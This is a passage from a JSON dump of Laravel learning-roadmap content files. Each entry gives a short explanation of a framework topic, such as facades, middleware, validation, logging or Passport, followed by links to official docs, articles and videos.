    "content": "# Facades\n\nFacades provide a \"static\" interface to classes that are available in the application's service container. Laravel facades allow you to access the underlying object instance of a class registered in the service container as if you were calling static methods on it. This provides a more expressive and readable syntax for interacting with various Laravel components.\n\nVisit the following resources to learn more:\n\n- [@official@Facades](http://laravel.com/docs/facades#main-content)\n- [@article@Learn how to create custom Facades in Laravel](https://laravel-news.com/laravel-facades)\n- [@article@Laravel - Facades](https://www.tutorialspoint.com/laravel/laravel_facades.htm)\n- [@video@What in the world is a Facade?](https://www.youtube.com/watch?v=gpn_4tWz1w8)\n- [@video@What Are Laravel Facades and How Do They Work? | Learn Laravel The Right Way](https://www.youtube.com/watch?v=5LtSVmKx25s)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/file-storage@oB20h3_6U41cVvoACb63y.md",
    "content": "# File Storage\n\nFile storage provides a convenient way to store and retrieve files, whether they are stored locally on the server or in cloud storage services like Amazon S3 or Google Cloud Storage. It offers a unified API for working with different storage systems, allowing you to easily switch between them without modifying your application's code. This system handles tasks like file uploads, downloads, and management, simplifying the process of working with files in your application.\n\nVisit the following resources to learn more:\n\n- [@official@File Storage](https://laravel.com/docs/12.x/filesystem)\n- [@article@Master Laravel File Storage Retrieval in Minutes](https://dev.to/dosenngoding/master-laravel-file-storage-retrieval-in-minutes-4n3g)\n- [@article@Laravel 12 File Storage](https://kritimyantra.com/blogs/laravel-12-file-storage)\n- [@video@File Upload in Laravel: Main Things You Need To Know](https://www.youtube.com/watch?v=xN-CF7dzeyM)\n- [@video@Laravel Storage | let's learn storage by creating a simple file explorer simulator](https://www.youtube.com/watch?v=m9CSLR8EGzM)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/files@PaAvakZ8NziU1mEAN6okm.md",
    "content": "# File Responses in Laravel\n\nFile responses in Laravel provide a way to send files, such as images, PDFs, or documents, directly to the user's browser for download or display. This functionality allows you to serve files stored on your server's filesystem to users, enabling features like downloading reports, displaying images, or providing access to other file-based resources. Laravel offers convenient methods to handle the necessary headers and file streaming for efficient and secure file delivery.\n\nVisit the following resources to learn more:\n\n- [@official@Files](https://laravel.com/docs/requests#files)\n- [@official@File Responses](https://laravel.com/docs/12.x/responses#file-responses)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/forms@A07HwtMsmcaRB7gAruqOH.md",
    "content": "# Form Validation\n\nForm validation is the process of ensuring that user-submitted data in a form meets specific criteria before it's processed or stored. This involves checking for required fields, verifying data types (like email or number), and ensuring data conforms to specific formats or constraints. Effective validation helps prevent errors, maintain data integrity, and improve the overall user experience by providing immediate feedback on incorrect or missing information.\n\nVisit the following resources to learn more:\n\n- [@official@Form Request Validation](https://laravel.com/docs/validation#form-request-validation)\n- [@article@Laravel Form Request Validation: A Complete Guide on Data handling](https://medium.com/@prevailexcellent/laravel-form-request-validation-a-complete-guide-on-data-handling-1f181a74123f)\n- [@article@Data Validation in Laravel: Convenient and Powerful](https://kinsta.com/blog/laravel-validation/)\n- [@article@The ultimate guide to Laravel Validation](https://laravel-news.com/laravel-validation)\n- [@video@Validate That Data (A 3 Minute Overview of Validation in Laravel)](https://www.youtube.com/watch?v=Pj9nSAJrF6E)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/gates@YCDtdh7aZ7YPa_LFOZTLh.md",
    "content": "# Authorization Gates\n\nAuthorization gates provide a way to control access to specific resources or actions within your application. They are essentially closures that determine if a user is authorized to perform a given action. You define these gates with a name and a callback function that receives the authenticated user as an argument, allowing you to implement custom authorization logic based on user roles, permissions, or any other criteria.\n\nVisit the following resources to learn more:\n\n- [@official@Gates](https://laravel.com/docs/authorization#gates)\n- [@article@Laravel Gates: A Rapid Introduction.](https://www.twilio.com/en-us/blog/developers/community/rapid-introduction-laravel-gates)\n- [@video@Laravel 11 Full Course 2025: Authorization with Policies & Gates [Lesson #8]](https://www.youtube.com/watch?v=tJANVX2IhkM)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/global-vs-route@jBPpf2X6oNXwPH5FuWHvt.md",
    "content": "# Global vs. Route Middleware\n\nGlobal middleware runs on every HTTP request entering your application. Route middleware, on the other hand, is only applied to specific routes or groups of routes that you define. This allows for more granular control over which middleware is executed for different parts of your application.\n\nVisit the following resources to learn more:\n\n- [@official@Global Middelware](https://laravel.com/docs/middleware#global-middleware)\n- [@article@How to define global middleware in Laravel 11](https://codecourse.com/articles/how-to-define-global-middleware-in-laravel-11)\n- [@article@Configuring Middleware in Laravel](https://laravel-news.com/configuring-middleware-in-laravel)\n- [@article@Laravel Routes and Middlewares: An In-depth Guide](https://medium.com/@dev.muhammadazeem/laravel-routes-and-middlewares-an-in-depth-guide-ccd8c0593aa3)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/handling-exceptions@ZlD6g0djdDH6ozwMJ5WIr.md",
    "content": "# Handling Exceptions\n\nExceptions are unexpected events that disrupt the normal flow of a program's execution. Handling exceptions involves anticipating these potential problems, catching them when they occur, and then gracefully responding to them, preventing the application from crashing and providing informative feedback to the user or logging the error for debugging. This process ensures the application remains stable and user-friendly even when unexpected issues arise.\n\nVisit the following resources to learn more:\n\n- [@official@Handling Exceptions](https://laravel.com/docs/errors#handling-exceptions)\n- [@article@Handling Exceptions in Laravel: A Cleaner Method](https://dev.to/timilehin-olusegun/handling-exceptions-in-laravel-a-cleaner-method-57io)\n- [@article@Advanced error handling in Laravel](https://www.honeybadger.io/blog/advanced-error-handling-in-laravel/)\n- [@video@Laravel: The BEST way to handle exceptions](https://www.youtube.com/watch?v=0AAg47xygTI)\n- [@video@Laravel: Avoid Try-Catch In Every Method (What To Do Instead)](https://www.youtube.com/watch?v=eTOScyTCkiY)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/health-route@JLMf5OE1ggRMOabf8KDwp.md",
    "content": "# Health Route\n\nA health route is a specific endpoint in an application that provides information about its operational status. It's designed to be easily accessible and quickly indicate whether the application is running correctly and its dependencies are healthy. This allows monitoring systems and load balancers to automatically detect and respond to issues, ensuring high availability and reliability.\n\nVisit the following resources to learn more:\n\n- [@official@Health Route](https://laravel.com/docs/12.x/deployment#the-health-route)\n- [@article@New Laravel 11 Apps Include a Health Check Endpoint](https://laravel-news.com/laravel-11-health-endpoint)\n- [@article@Laravel Health Checks: Monitor App State in 2025](https://dev.to/arasosman/laravel-health-checks-monitor-app-state-in-2025-heb)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/http-exceptions@qetgYqhWAEHUfDIDkMGGX.md",
    "content": "# HTTP Exceptions\n\nHTTP Exceptions are a specific type of exception used to represent HTTP error responses. They allow you to easily return standard HTTP error codes (like 404 Not Found or 500 Internal Server Error) along with a corresponding message and optional headers directly from your application logic. This provides a clean and consistent way to handle errors and communicate them to the client.\n\nVisit the following resources to learn more:\n\n- [@official@HTTP Exceptions](https://laravel.com/docs/errors#http-exceptions)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/if-else@m1mVsw_kF2GW50UM-6o3f.md",
    "content": "# Conditional Statements in Blade Templates\n\nConditional statements, like `if` and `else`, allow you to control the rendering of content in your Blade templates based on certain conditions. This means you can display different parts of your view depending on whether a variable is true, a user is logged in, or any other logical expression you define. These directives provide a clean and readable way to implement logic directly within your HTML markup.\n\nVisit the following resources to learn more:\n\n- [@official@If Statements](https://laravel.com/docsblade#if-statements)\n- [@article@Conditional statements in Laravel for Beginners](https://medium.com/@studylearnandfun/conditional-statements-in-laravel-for-beginners-3dbb3f8e9ad4)\n- [@article@Custom conditionals with Laravel's Blade Directives](https://mattstauffer.com/blog/custom-conditionals-with-laravels-blade-directives/)\n- [@video@Laravel 10 Fundamental [Part 24] - Blade Directive - if statement](https://www.youtube.com/watch?v=mNpKgiocqtE)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/inertia@0B41E-UtzvCsXVDX5DUqY.md",
    "content": "# Inertia\n\nInertia.js allows you to build single-page applications (SPAs) using server-side routing and controllers. Instead of building an API and a separate frontend, Inertia lets you use your existing server-side framework (like Laravel) for both. It achieves this by rendering server-side views and then using JavaScript to progressively enhance the user experience, creating a seamless SPA feel without the complexity of traditional SPA development.\n\nVisit the following resources to learn more:\n\n- [@official@Inertia](https://inertiajs.com/)\n- [@official@Inertia - Laravel Docs](https://laravel.com/docs/frontend#inertia)\n- [@opensource@Inertia](https://github.com/inertiajs/inertia-laravel)\n- [@article@How To Use Inertia.js in Your Laravel Projects](https://kinsta.com/blog/laravel-inertia/)\n- [@video@The New Features of Inertia 2.0 in 3 Minutes](https://www.youtube.com/watch?v=I96tyvRdmbA)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/installing-laravel@cmczkTxiNFtfnr5Wgznef.md",
    "content": "# Installing Laravel\n\nInstalling Laravel involves setting up a new project environment where you can begin building your web application. This process typically includes downloading the Laravel framework, configuring your server environment to meet its requirements, and setting up any necessary dependencies. The installation process ensures that you have a clean and functional starting point for your Laravel project.\n\nVisit the following resources to learn more:\n\n- [@official@Installation](https://laravel.com/docs/installation)\n- [@article@How To Install Laravel on Windows, macOS, and Linux](https://kinsta.com/blog/install-laravel/)\n- [@video@How to Easily Install Laravel | Laravel for Complete Beginners | Laravel Tutorial](https://www.youtube.com/watch?v=iBaM5LYgyPk)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/jetstream@lBpyPXS2zHbJ49bHpOyi5.md",
    "content": "# Jetstream\n\nJetstream is a scaffolding package for Laravel applications. It provides a robust starting point for your next Laravel project, featuring key functionalities such as user registration, login, email verification, two-factor authentication, session management, API support via Laravel Sanctum, and team management. It's designed to be a complete solution for quickly building modern web applications with authentication and common features already implemented.\n\nVisit the following resources to learn more:\n\n- [@official@Laravel jetstream](https://jetstream.laravel.com/introduction.html)\n- [@opensource@Jetstream](https://github.com/laravel/jetstream)\n- [@video@Laravel Jetstream: The Most Powerful Way to Kickstart Your Application](https://www.youtube.com/watch?v=Z1Bt8LHaDmE)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/json@pb7eSi-UQ7KTcdi8_pzya.md",
    "content": "# JSON Responses in Laravel\n\nJSON (JavaScript Object Notation) is a lightweight data-interchange format that is easy for humans to read and write, and easy for machines to parse and generate. In Laravel, you can easily return JSON responses from your routes or controllers, allowing you to build APIs or provide data to JavaScript-based frontends. This involves converting data, typically arrays or objects, into a JSON string that can be sent as the response body.\n\nVisit the following resources to learn more:\n\n- [@official@Json Responses](https://laravel.com/docs/responses#json-responses)\n- [@official@Streamed JSON Responses](https://laravel.com/docs/responses#streamed-json-responses)\n- [@article@Laravel Response](https://www.w3schools.in/laravel/response)\n- [@article@Proper JSON Responses for Laravel API](https://dev.to/bradisrad83/proper-json-responses-for-laravel-api-2jfo)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/laravel-cloud@UzhlPw7flQ9UHeia0o-uj.md",
    "content": "# Laravel Cloud\n\nLaravel Cloud provides a streamlined platform for deploying and managing Laravel applications. It simplifies the process of setting up servers, configuring databases, and handling deployments, allowing developers to focus on building features rather than managing infrastructure. This typically involves automated provisioning, scaling, and monitoring tools tailored for Laravel applications.\n\nVisit the following resources to learn more:\n\n- [@official@Laravel Cloud](https://cloud.laravel.com/)\n- [@official@Deploying With Laravel Cloud or Forge](https://laravel.com/docs/deployment#deploying-with-cloud-or-forge)\n- [@article@Introducing Laravel Cloud](https://laravel-news.com/introducing-laravel-cloud)\n- [@video@I got my first Laravel Cloud Invoice...](https://www.youtube.com/watch?v=9Q9sW8oFvSM)\n- [@video@Deploying a NEW Starter Kit to Laravel Cloud in 5 Minutes](https://www.youtube.com/watch?v=nPsWwm-TDjU)\n- [@video@5 Tools to Estimate Your Laravel Cloud Bill](https://www.youtube.com/watch?v=ujlMw-_XGCA)\n- [@video@Laravel Cloud vs. Laravel Forge](https://www.youtube.com/watch?v=I-WGiX-tQF8)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/laravel-for-frontend@ns75IOfTHNmWsLm4q8sQx.md",
    "content": "# Laravel for Frontend\n\nLaravel, primarily known as a backend framework, can also be effectively utilized for building the frontend of web applications. While Laravel excels at handling server-side logic, routing, database interactions, and APIs, it offers features like Blade templating engine and asset management tools that allow developers to create dynamic and interactive user interfaces directly within the Laravel environment. This approach can be particularly useful for projects where a tight integration between the frontend and backend is desired, or when leveraging Laravel's existing ecosystem for a full-stack solution.\n\nVisit the following resources to learn more:\n\n- [@official@Laravel for Frontend](https://laravel.com/docs/frontend)\n- [@article@Integrating Laravel with Popular Frontend Frameworks: A Developer's Guide](https://dev.to/elisaray/integrating-laravel-with-popular-frontend-frameworks-a-developers-guide-4625)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/laravel-for-full-stack@_Squ3npZfjfd_xYn__Qna.md",
    "content": "# Laravel for Full Stack\n\nFull-stack development involves building both the front-end (what users see and interact with) and the back-end (the server-side logic, database interactions, and APIs) of a web application. Laravel, primarily a back-end framework, can be effectively used in full-stack development by pairing it with front-end technologies like Vue.js, React, or even Blade templates to create complete web applications. This approach allows developers to leverage Laravel's robust features for handling data, authentication, and routing, while using front-end tools to create dynamic and interactive user interfaces.\n\nVisit the following resources to learn more:\n\n- [@official@Livewire](https://laravel-livewire.com/)\n- [@video@Vue + Laravel API Full Stack App - Build and Deploy](https://www.youtube.com/watch?v=qVi3vv9K8Fk)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/laravel-forge@teD9pAQ-dKKLg5kYOPN6c.md",
    "content": "# Laravel Forge\n\nLaravel Forge is a web-based platform designed to simplify the deployment and management of PHP applications, particularly those built with Laravel. It automates server provisioning, configuration, and deployment processes, allowing developers to focus on writing code rather than managing infrastructure. Forge supports various cloud providers and offers features like server monitoring, database management, and SSL certificate installation.\n\nVisit the following resources to learn more:\n\n- [@official@Laravel Forge](https://forge.laravel.com/)\n- [@official@Deploying With Laravel Cloud or Forge](https://laravel.com/docs/12.x/deployment#deploying-with-cloud-or-forge)\n- [@article@Laravel Forge: Control Your PHP Servers With Ease](https://kinsta.com/blog/laravel-forge/)\n- [@video@Getting Started with Laravel Forge](https://www.youtube.com/watch?v=AGYKgFc0DUQ)\n- [@video@5 Exciting Features in the New Laravel Forge](https://www.youtube.com/watch?v=XB9Nge72n58)\n- [@video@Laravel Cloud vs. Laravel Forge](https://www.youtube.com/watch?v=I-WGiX-tQF8)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/laravel-herd@Kee5SXZbkwmoxAF8O6Y2f.md",
    "content": "# Laravel Herd\n\nLaravel Herd is a fast, native Laravel and PHP development environment for macOS. It eliminates the need for Docker or virtual machines, offering a streamlined experience for setting up and running Laravel projects. It includes everything you need to get started, such as PHP, Nginx, and DNSmasq, all pre-configured for optimal performance.\n\nVisit the following resources to learn more:\n\n- [@official@Laravel herd](https://herd.laravel.com/)\n- [@official@Installation Using Herd](https://laravel.com/docs/installation#installation-using-herd)\n- [@article@Laravel Development using Herd](https://medium.com/@Ashleecooper/laravel-development-using-herd-1da0932b9888)\n- [@video@How to Install Laravel on Windows with Laravel Herd and MySQL, phpMyAdmin for Beginners](https://www.youtube.com/watch?v=Io0GZLAc5WI)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/layouts@NkxalJLKZxQPvTzecBrJa.md",
    "content": "# Layouts in Blade\n\nLayouts provide a consistent structure for your application's pages. They define the common elements like headers, footers, sidebars, and overall page structure, allowing you to avoid repeating the same HTML code across multiple views. By using layouts, you can create a template that child views can then extend and populate with their specific content, promoting code reusability and maintainability.\n\nVisit the following resources to learn more:\n\n- [@official@Building Layouts](https://laravel.com/docs/blade#building-layouts)\n- [@article@Create Layouts Using Laravel Blade Templating Engine (Step-by-Step for Beginners)](https://www.cloudways.com/blog/create-laravel-blade-layout/)\n- [@video@https://www.youtube.com/watch?v=3UhgEsLxmG8](https://www.youtube.com/watch?v=mI7GW7xuO-I)\n- [@video@Blade templates & Layouts | Laravel 10 Tutorial #7](https://www.youtube.com/watch?v=3UhgEsLxmG8)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/livewire@5A0DGzGXXBHQTRuzWEkuW.md",
    "content": "# Livewire Starter Kits\n\nLivewire starter kits in Laravel provide a pre-configured foundation for building dynamic, reactive user interfaces using Livewire components. These kits typically include basic layouts, authentication scaffolding, and often pre-built components that demonstrate Livewire's capabilities, allowing developers to quickly begin building interactive features without setting up the underlying infrastructure from scratch. They streamline the development process by providing a ready-to-use environment with Livewire already integrated and configured.\n\nVisit the following resources to learn more:\n\n- [@official@Laravel Livewire](https://livewire.laravel.com/)\n- [@official@Livewire - Laravel Docs](https://laravel.com/docs/frontend#livewire)\n- [@opensource@Livewire](https://github.com/livewire/livewire)\n- [@video@Laravel Livewire Crash Course #1 - Introduction & Setup](https://www.youtube.com/watch?v=c8pPND7kclg)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/localization@_y5s3ZGwvWR_RiQ0VnWYv.md",
    "content": "# Localization\n\nLocalization is the process of adapting a product or content to a specific target market. This involves translating text, but also adapting other elements like date formats, currency symbols, and cultural references to suit the local audience. The goal is to make the product feel native and relevant to users in different regions.\n\nVisit the following resources to learn more:\n\n- [@official@Localization](https://laravel.com/docs/localization#main-content)\n- [@article@Laravel localization: A step-by-step guide with examples](https://lokalise.com/blog/laravel-localization-step-by-step/)\n- [@video@Laravel Localization Tutorial: Step-by-Step Guide for Multi-Language Apps | Laravel i18n & l10n](https://www.youtube.com/watch?v=SOvHYMN-rw8)\n- [@video@Intro - Laravel Multi-Language Tutorial ep-01](https://www.youtube.com/watch?v=zhkvXc7wJZE&list=PL6tf8fRbavl0RUNYSOMfl09lXCs5EPmj5&index=1)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/log-stacks--messages@JeJXr5g6pJY3za5E_ewEY.md",
    "content": "# Log Stacks and Messages\n\nLog stacks allow you to send log messages to multiple handlers simultaneously. This provides flexibility in how you manage and store your application's logs, enabling you to route different types of messages to different destinations, such as files, databases, or external services. You can also customize the format and severity level of the messages sent to each handler.\n\nVisit the following resources to learn more:\n\n- [@official@Building Log Stacks](https://laravel.com/docs/logging#building-log-stacks)\n- [@article@Laravel Logging: Channels and Stacks Explained](https://inspector.dev/laravel-logging-channels-and-stacks-explained/)\n- [@article@How to Get Started with Logging in Laravel](https://betterstack.com/community/guides/logging/how-to-start-logging-with-laravel/)\n- [@video@Configuring (and viewing!) logs in Laravel](https://www.youtube.com/watch?v=MGASWCQ6TJ0)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/logging-basics@Wt_QP7R4DRUNOMQZSnMeI.md",
    "content": "# Logging Basics\n\nLogging is the process of recording events that occur during the execution of a software application. These events, often called logs, provide valuable insights into the application's behavior, helping developers track errors, monitor performance, and understand user activity. Logs typically include timestamps, severity levels (e.g., debug, info, error), and contextual information about the event.\n\nVisit the following resources to learn more:\n\n- [@official@Logging](https://laravel.com/docs/logging#main-content)\n- [@article@How Logging Works in Laravel Applications](https://www.freecodecamp.org/news/laravel-logging/)\n- [@article@Laravel Logging: Everything You Need To Know](https://kinsta.com/blog/laravel-logging/)\n- [@video@Configuring (and viewing!) logs in Laravel](https://www.youtube.com/watch?v=MGASWCQ6TJ0)\n- [@video@Laravel.log: 8 Tips to Find Things There](https://www.youtube.com/watch?v=OYx7r8BEaUI)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/loops@GTtgi4rShCn3AFwgBLuFc.md",
    "content": "# Blade Loops\n\nBlade directives offer a concise way to work with loops directly within your Laravel views. Instead of using standard PHP loop syntax, Blade provides directives like `@for`, `@foreach`, `@while`, and `@forelse` to iterate over data and display it in your templates. These directives simplify the process of rendering dynamic content based on collections, arrays, or other iterable data structures, making your views cleaner and more readable.\n\nVisit the following resources to learn more:\n\n- [@official@Loops](https://laravel.com/docs/blade#loops)\n- [@article@Laravel Advanced: Know the sneaky $loop.](https://backpackforlaravel.com/articles/tips-and-tricks/laravel-advanced-know-the-sneaky-loop)\n- [@article@Using the $loop variable in Laravel](https://medium.com/afrivelle-engineering/using-the-loop-variable-in-laravel-9d22f07eb00b)\n- [@video@Loops in Blade | Blade Template Basics | Laravel Basics | Laravel](https://www.youtube.com/watch?v=m1BPK6lMvNg)\n- [@video@Loops & Loop Directives in Laravel | Laravel For Beginners | Learn Laravel](https://www.youtube.com/watch?v=6qlty4eJDgc)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/manual-authentication@PBK-lqE3yWB2Mj1kHq4Rz.md",
    "content": "# Manual Authentication\n\nManual authentication involves directly handling user login and logout processes within your application, giving you complete control over how users are identified and authorized. This approach requires you to manage user credentials, session management, and security measures yourself, rather than relying on built-in Laravel features or packages. It's useful when you need highly customized authentication logic or integration with existing systems.\n\nVisit the following resources to learn more:\n\n- [@official@Manually Authenticating Users](https://laravel.com/docs/authentication#authenticating-users)\n- [@article@A Comprehensive Guide to Laravel Authentication](https://kinsta.com/blog/laravel-authentication/)\n- [@article@Manual auth in Laravel: signing in and out](https://dev.to/jeroenvanrensen/manual-auth-in-laravel-signing-in-and-out-30gf)\n- [@video@Build Laravel Login & Registration from Scratch](https://www.youtube.com/watch?v=QtKZxNNPT_U)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/manual-validation@aY_sz_Nb-kX4NL0g_nXoA.md",
    "content": "# Manual Validation\n\nManual validation in Laravel involves directly interacting with the validator class to validate data. Instead of relying on request objects or form requests, you create a validator instance, define the validation rules, and then check if the data passes these rules. This approach provides more control and flexibility, especially when dealing with complex validation scenarios or when validating data outside of a typical HTTP request.\n\nVisit the following resources to learn more:\n\n- [@official@Manually Creating Validators](https://laravel.com/docs/validation#manually-creating-validators)\n- [@article@Laravel FormRequest vs Manual Validation: Which One Should You Choose?](https://medium.com/@developerawam/laravel-formrequest-vs-manual-validation-which-one-should-you-choose-fac53e1ed17d)\n- [@article@The ultimate guide to Laravel Validation](https://laravel-news.com/laravel-validation)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/message-customization@VvSn3Zqxi6HPBkDqxoqEE.md",
    "content": "# Customizing Error Messages\n\nError message customization involves tailoring the default error messages displayed to users when validation or other exceptions occur. This allows developers to provide more user-friendly and contextually relevant feedback, improving the overall user experience by guiding them towards correcting errors more effectively. Instead of generic messages, you can display specific instructions or explanations that are easier for users to understand.\n\nVisit the following resources to learn more:\n\n- [@official@Rendering Exceptions](https://laravel.com/docs/errors#rendering-exceptions)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/middleware@SoHBSaHmds3C4uJ-vljhf.md",
    "content": "# Middleware\n\nMiddleware provides a convenient mechanism for filtering HTTP requests entering your application. Think of it as a series of checkpoints that a request must pass through before reaching your application's core logic. These checkpoints can perform various tasks, such as authenticating users, verifying input data, or even modifying the request before it's handled by your controllers.\n\nVisit the following resources to learn more:\n\n- [@official@Middleware](https://laravel.com/docs/middleware#main-content)\n- [@article@Configuring Middleware in Laravel](https://laravel-news.com/configuring-middleware-in-laravel)\n- [@article@Laravel Middleware](https://www.tutorialspoint.com/laravel/laravel_middleware.htm)\n- [@article@Middleware in Laravel: Main Things to Know](https://laraveldaily.com/post/middleware-laravel-main-things-to-know)\n- [@video@What is Middleware ? How to use Middleware in Laravel with Example](https://www.youtube.com/watch?v=DYTJFqALX7o)\n- [@video@LARAVEL 11 Crash Course for Beginners 2024 | #11 Middleware (Web Developer Path)](https://www.youtube.com/watch?v=FRi9bbQZLkQ)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/migrations-seeders@IxFi316xmxdP2ZZDVSE5f.md",
    "content": "# Database Migrations and Seeders\n\nDatabase migrations are like version control for your database schema, allowing you to modify and share the database structure in a structured and organized way. Seeders, on the other hand, are used to populate your database with initial data, such as default user accounts or categories, making it easier to start working with your application. They work together to ensure a consistent and reproducible database setup across different environments.\n\nVisit the following resources to learn more:\n\n- [@official@Migrations](https://laravel.com/docs/migrations#main-content)\n- [@official@Seeding](https://laravel.com/docs/seeding#main-content)\n- [@video@Laravel Tutorial for Beginners #8 - Database Migrations](https://www.youtube.com/watch?v=PgeP3vsWbTc)\n- [@video@Laravel Tutorial for Beginners #11 - Seeders](https://www.youtube.com/watch?v=tV9Hb0A-lzc)\n- [@article@A Comprehensive Guide to Laravel Migrations: From Basics to Advanced](https://medium.com/@jaswanth_270602/a-comprehensive-guide-to-laravel-migrations-from-basics-to-advanced-727ead0a18f1)\n- [@article@Laravel Seeder Generator](https://laravel-news.com/laravel-seeder-generator)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/named-routes@PAdXLppvU-X94gK5uCbf-.md",
    "content": "# Named Routes\n\nNamed routes provide a convenient way to refer to routes throughout your application. Instead of hardcoding route URIs, you can assign a name to a route and then use that name to generate URLs or redirects. This makes your code more maintainable because if the route URI changes, you only need to update it in one place (the route definition) rather than everywhere it's used.\n\nVisit the following resources to learn more:\n\n- [@article@Names Routes](https://laravel.com/docs/routing#named-routes)\n- [@article@What are Named Routes in Laravel?](https://www.tutorialspoint.com/what-are-named-routes-in-laravel)\n- [@video@Laravel Tutorial for Beginners #14 - Named Routes](https://www.youtube.com/watch?v=awStsyqYcbc)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/notifications@LZ8UiFvBT_rxirANh6XxZ.md",
    "content": "# Notifications\n\nNotifications provide a way to alert users about events that occur in your application, such as when a task is completed, a comment is posted, or a new follower is gained. These alerts can be delivered through various channels, including email, SMS, database entries, or even custom channels, allowing for flexible and tailored communication with users. The system typically involves defining notification classes that represent specific events and then sending these notifications to the appropriate recipients.\n\nVisit the following resources to learn more:\n\n- [@official@Notifications](https://laravel.com/docs/notifications)\n- [@article@Laravel Notifications: dynamic channels, priority, and delayed sending](https://crnkovic.me/laravel-notifications-on-steroids)\n- [@article@How to create notifications in Laravel](https://www.honeybadger.io/blog/php-laravel-notifications/)\n- [@video@Should You Use a Notification or a Mailable?](https://www.youtube.com/watch?v=GGZF9E9mM_E)\n- [@video@Laravel Notifications: \"Database\" Driver - Demo Project](https://www.youtube.com/watch?v=5DREuAvFnps)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/octane@h78y25Zlzoc2RrrCIGztf.md",
    "content": "# Octane\n\nOctane supercharges your Laravel application's performance by serving it using high-powered application servers like Swoole or RoadRunner. Instead of creating a fresh application instance for each request, Octane keeps the application loaded in memory, significantly reducing boot times and overhead. This allows your application to handle a much higher volume of requests with lower latency.\n\nVisit the following resources to learn more:\n\n- [@official@Octane](https://laravel.com/docs/12.x/octane)\n- [@opensource@octane](https://github.com/laravel/octane)\n- [@article@Laravel Octane – What It Is, Why It Matters & How To Take Advantage Of It](https://runcloud.io/blog/laravel-octane)\n- [@video@Laravel Octane: supercharge your Laravel applications](https://www.youtube.com/watch?v=YGBvdAWt0W8)\n- [@video@Make faster outbound requests with Laravel (10x faster, actually)](https://www.youtube.com/watch?v=BWAocgJVCbw)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/optimization@jL-NldBPyDK_0SqvMBqVu.md",
    "content": "# Optimization\n\nOptimization, in the context of deployment, refers to the process of refining and improving a deployed application's performance, efficiency, and resource utilization. This involves identifying bottlenecks, reducing resource consumption (like memory and CPU), and enhancing the overall speed and responsiveness of the application to ensure a smooth and scalable user experience in a production environment.\n\nVisit the following resources to learn more:\n\n- [@official@Optimization](https://laravel.com/docs/deployment#optimization)\n- [@video@10+ Mistakes When Deploying Laravel Project to Production](https://www.youtube.com/watch?v=9gEsqgO05ZE)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/package-management@t3iEtiCHghB4S9gAQOQJM.md",
    "content": "# Package Management\n\nPackage management involves using tools to automate the process of installing, updating, configuring, and removing software packages. In Laravel, this is primarily handled by Composer, a dependency manager for PHP. Composer allows you to declare the libraries your project depends on, and it will manage the installation and updating of those dependencies for you, ensuring compatibility and simplifying the process of incorporating external functionality into your Laravel application.\n\nVisit the following resources to learn more:\n\n- [@official@Package Development](https://laravel.com/docs/packages)\n- [@article@Step by Step Guide to Custom Laravel Package Development](https://www.monocubed.com/blog/laravel-package-development/)\n- [@article@Laravel Package Management: Bundling & Distribution Simplified](https://homeville.tech/laravel-package-management-bundling-distribution-simplified-b2326fa24d39)\n- [@video@How To Build a Laravel Package 📦](https://www.youtube.com/watch?v=QsA5mdzKXLA)\n- [@video@How to Create Laravel Package: 4 Free Lessons From the Course](https://www.youtube.com/watch?v=gqYIxv7PXxQ)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/pagination@zJf_ZQYXSGob24p9rrVfr.md",
    "content": "# Pagination\n\nPagination is the process of dividing content into discrete pages, allowing users to navigate through large datasets in a manageable way. Instead of displaying all the data at once, which can be overwhelming and slow down performance, pagination presents the data in smaller, more digestible chunks, typically with navigation controls to move between pages. This improves user experience and reduces the load on the server.\n\nVisit the following resources to learn more:\n\n- [@official@Pagination](https://laravel.com/docs/pagination#main-content)\n- [@article@A Guide to Pagination in Laravel](https://laravel-news.com/laravel-pagination)\n- [@article@How to use Pagination in Laravel?](https://bagisto.com/en/how-to-use-pagination-in-laravel/)\n- [@video@Laravel Tutorial for Beginners #15 - Pagination](https://www.youtube.com/watch?v=tPhp3PunmuU)"
  },
  {
    "path": "src/data/roadmaps/laravel/content/passport@2QZCHTZMP72sVuf97A59N.md",
    "content": "# OAuth 2.0 API Authentication with Laravel Passport\n\nPassport is a full OAuth 2.0 server implementation for your Laravel application, providing a secure and standardized way to authenticate users and grant access to your API. It allows users to authorize third-party applications to access their data without sharing their credentials, using tokens to represent authorization. This simplifies the process of building APIs that can be consumed by various clients, such as mobile apps or other web applications.\n\nVisit the following resources to learn more:\n\n- [@official@Laravel Passport](https://laravel.com/docs/passport#main-content)\n- [@opensource@passport](https://github.com/laravel/passport)\n- [@article@Laravel Authentication Using Passport](https://dev.to/anashussain284/laravel-authentication-using-passport-1gkk)\n- [@video@Getting started with Laravel Passport and OAuth2](https://www.youtube.com/watch?v=PTFPMAX_88s)"
